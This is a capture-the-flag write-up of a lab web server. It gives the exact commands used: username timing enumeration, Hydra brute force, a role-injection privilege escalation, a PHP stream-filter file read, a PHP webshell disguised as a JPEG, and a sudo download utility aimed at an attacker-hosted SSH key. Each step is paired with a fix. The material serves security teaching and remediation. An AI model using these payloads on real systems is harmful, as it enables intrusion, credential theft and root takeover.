Timing
Summary
Target $TARGET (Timing) ran an Apache PHP web application on port 80. A login-response timing side-channel exposed valid usernames, and the discovered account 'aaron' was brute-forced. A mass-assignment vulnerability in the profile-update endpoint accepted an injected 'role' parameter that silently promoted aaron to administrator.
The admin panel exposed an avatar upload function; a local file inclusion flaw in image.php was exploited with a PHP stream filter to read the upload handler source, which revealed how uploaded filenames are hashed with a server secret and a timestamp. A PHP webshell disguised as a JPEG was uploaded; the hashed output path was derived by iterating over the upload timestamp window, and the webshell was included through the LFI to gain remote code execution as www-data. A backup archive found on the server contained the application's git repository; reviewing commit history in full diff mode exposed a hard-coded password that aaron reused for SSH — delivering a shell as aaron and the user flag.
Aaron's sudo privileges allowed him to run a download-utility script as root; by hosting a crafted HTTP server that served my own SSH public key, the utility's Axel downloader was directed to write the key into /root/.ssh/, after which I authenticated as root over SSH to read the root flag.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 2
nmap -Pn -sV -p 22,80 --script http-title,http-headers $TARGETgobuster dir -u http://$TARGET/ -w /usr/share/seclists/Discovery/Web-Content/common.txt -x php -t 40Exact commands 3
ffuf -u http://$TARGET/login.php -X POST -d "user=FUZZ&password=$PASSWORD" -w /usr/share/seclists/Usernames/Names/names.txt -t 1 -p 0.2 -of csv -o /tmp/timing_users.csvhydra -l aaron -P /usr/share/seclists/Passwords/Leaked-Databases/rockyou.txt $TARGET http-post-form '/login.php:user=^USER^&password=^PASS^:Wrong' -t 4curl -sS -c /tmp/timing.cookies -X POST http://$TARGET/login.php -d "user=aaron&password=$PASSWORD" -LFixEliminate the login timing side-channel and rate-limit authentication attemptsMedium
Exact commands 2
curl -sS -b /tmp/timing.cookies -c /tmp/timing.cookies -X POST http://$TARGET/profile.php -d 'firstName=Aaron&lastName=Test&email=aaron%40test.com&role=1'curl -sS -b /tmp/timing.cookies http://$TARGET/admin/ -o /dev/null -w '%{http_code}'FixEnforce a strict allowlist of user-updatable fields in the profile endpointCritical
Exact commands 2
curl -sS -b /tmp/timing.cookies "http://$TARGET/image.php?img=php://filter/convert.base64-encode/resource=upload.php" | base64 -dcurl -sS -b /tmp/timing.cookies "http://$TARGET/image.php?img=php://filter/convert.base64-encode/resource=/etc/passwd" | base64 -dFixRestrict the image endpoint to a fixed directory and disable PHP stream wrappersCritical
printf '%s' '<?php system($_GET["cmd"]); ?>' > /tmp/shell.jpg; curl -F 'fileToUpload=@/tmp/shell.jpg;filename=shell.jpg' http://$TARGET/upload.php; foothold phase confirms uid=www-data.Exact commands 4
printf '%s' '<?php system($_GET["cmd"]); ?>' > /tmp/shell.jpgstart=$(date +%s); curl -sS -i -b /tmp/timing.cookies -c /tmp/timing.cookies -F 'fileToUpload=@/tmp/shell.jpg;filename=shell.jpg' http://$TARGET/upload.php | tee /tmp/upload.out; end=$(date +%s); echo "WINDOW $start $end"for t in $(seq $((start-5)) $((end+5))); do h=$(printf 'shell.jpg%s' "$t" | md5sum | cut -c1-32); result=$(curl -sS -b /tmp/timing.cookies "http://$TARGET/image.php?img=images/$h.jpg&cmd=id"); echo "$result" | grep -q 'uid=' && echo "HIT: images/$h.jpg" && echo "$result" && break; donecurl -sS -b /tmp/timing.cookies "http://$TARGET/image.php?img=images/<DERIVED_HASH>.jpg&cmd=id"FixValidate uploaded file content server-side and block PHP execution in the uploads directoryCritical
sshpass -p '[REDACTED: recovered credential]' ssh aaron@$TARGET 'id; cat /home/aaron/user.txt' — password exactly matches the value buried in git history.Exact commands 5
curl -sS -b /tmp/timing.cookies "http://$TARGET/image.php?img=images/<DERIVED_HASH>.jpg&cmd=cp+/opt/source-files-backup.zip+/var/www/html/bkp.zip"wget http://$TARGET/bkp.zip -O /tmp/bkp.zip && unzip /tmp/bkp.zip -d /tmp/source-bkpcd /tmp/source-bkp && git log --onelinecd /tmp/source-bkp && git log -p | grep -A5 -B5 -i "password\|passwd\|secret\|$PASSWORD"sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=8 aaron@$TARGET 'id; cat /home/aaron/user.txt'FixPurge hard-coded credentials from git history and enforce secret scanningHigh
Exact commands 5
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null aaron@$TARGET 'sudo -l'ssh-keygen -t ed25519 -f /tmp/rootkey -N '' && cat /tmp/rootkey.pubmkdir -p /tmp/sshserve && cp /tmp/rootkey.pub /tmp/sshserve/authorized_keys && python3 -m http.server 18000 --directory /tmp/sshserve &sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null aaron@$TARGET "printf '1\nhttp://$ATTACKER_IP:18000/authorized_keys\n' | sudo /usr/bin/netutils"ssh -i /tmp/rootkey -o IdentitiesOnly=yes -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ConnectTimeout=8 root@$TARGET 'id; cat /root/root.txt'FixRemove or strictly constrain the sudo download-utility ruleCritical
Attack patterns used
The transferable techniques behind this compromise.
Unrestricted File UploadWebT1505.003
What it is
An upload feature that doesn't properly validate file type/content lets an unauthorised user upload a server-side script (.php, .phtml, .jsp, .aspx) and then browse to it for code execution. Bypasses include double extensions, MIME spoofing, magic-byte tricks, and abusing permissive .htaccess.
Why it works
Validation is often done on the client or on an easily-spoofed extension/MIME rather than on content and storage location. Remediate by storing uploads outside the web root, randomizing names, enforcing an allow-list by content, and disabling execution in the upload directory.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0) |
| 80/tcp | http Apache httpd 2.4.29 ((Ubuntu)) |